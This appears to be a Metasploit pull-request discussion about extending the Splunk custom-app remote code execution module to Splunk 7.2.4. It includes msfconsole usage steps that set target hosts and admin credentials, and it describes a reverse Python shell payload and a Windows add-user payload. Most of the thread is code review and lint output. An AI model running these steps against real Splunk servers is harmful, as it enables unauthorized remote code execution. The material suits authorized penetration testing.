Add support for splunk 7.2.4 to 'Splunk Custom App Remote Code Execution

[uf0o]

Hi
I have been working on integrating some changes to the 'Splunk Custom App Remote Code Execution' and including support for splunk 7.2.4 (it might even work on the whole 7 train up to 7.2.4)
Verification steps

• Start msfconsole
• use exploit/multi/http/splunk_upload_app_exec
• set required variables (you will need admin credentials)

SET LHOST 192.168.1.2
SET RHOST 192.168.1.1
SET USERNAME admin
SET PASSWORD changeme

• If targeting linux or macos, the payload will be set automatically to 'cmd/unix/reverse_python '

• If targeting windows, the 'adduser' payload is automatically selected, since we do not have an available python reverse shell payload

• 'run' or 'exploit' and you should expect reverse shell connection on port 4444 (or a new user added in case of windows)

It has been tested successfully on both linux,macos (windows does not support python reverse shell but all the other available commands are working as expected)

[uf0o]

resubmitted from a unique branch

[uf0o]

Can you also suggest how to set the default payload to "cmd/unix/reverse_python" on linux and osx targets? I have noticed that this one is a more stable payload.
thank you

[space-r7]

You can set a default payload for each target in your module. An example of its usage can be found here.

[uf0o]

thank you, I have added them now on each target

[h00die]

Docs are looking great, a few stylistic things but some great additions!

[bcoles]

Please run ./tools/dev/msftidy.rb modules/exploits/multi/http/splunk_upload_app_exec.rb on this module and resolve the following violations:

[*] Running msftidy.rb in ./.git/hooks/post-merge mode
--- Checking new and changed module syntax with tools/dev/msftidy.rb ---
modules/exploits/multi/http/splunk_upload_app_exec.rb - [INFO] No CVE references found. Please check before you land!
modules/exploits/multi/http/splunk_upload_app_exec.rb:127 - [WARNING] Spaces at EOL
modules/exploits/multi/http/splunk_upload_app_exec.rb:134 - [WARNING] Spaces at EOL
modules/exploits/multi/http/splunk_upload_app_exec.rb:139 - [WARNING] Spaces at EOL
modules/exploits/multi/http/splunk_upload_app_exec.rb:161 - [WARNING] Spaces at EOL
modules/exploits/multi/http/splunk_upload_app_exec.rb:348 - [WARNING] Spaces at EOL
modules/exploits/multi/http/splunk_upload_app_exec.rb:404 - [WARNING] Spaces at EOL
modules/exploits/multi/http/splunk_upload_app_exec.rb:414 - [WARNING] Spaces at EOL
------------------------------------------------------------------------

Edit If there's no CVE, that's fine. The warning can safely be ignored.

[bcoles]

It would be nice to know when the changes to Splunk which broke this module were introduced.

Were the changes introduced in version 7.2.4 ? Or >= 7.x ?

It may be worth starting to think about implementing different methods for each major version, ie exploit_5, exploit_6, exploit_7, etc (but better named).

This method is starting to become rather long, and the target version is repeatedly checked.

[uf0o]

Totally agree, but at the moment I am not able to test any early version of 7.x, so I would rather stick to the tested version, even though I suspect as well that changes have been introduced from 7.x

msftidy violations have been resovled

[h00die]

Just wanted to say thanks for all the big doc updates, they look super good now (minus the one copy pasta i just posted). +1 for sticking hanging through all of the changes and additions!

[uf0o]

Hi, is there any more I can contribute from my side?

[busterb]

I didn't test Windows, but this seems alright with me. Let's ship it.

[busterb]

Release Notes

Expanded version support and documentation for the splunk_upload_app_exec module, including Splunk 5.x, 6.x, up to 7.2.4, has been added.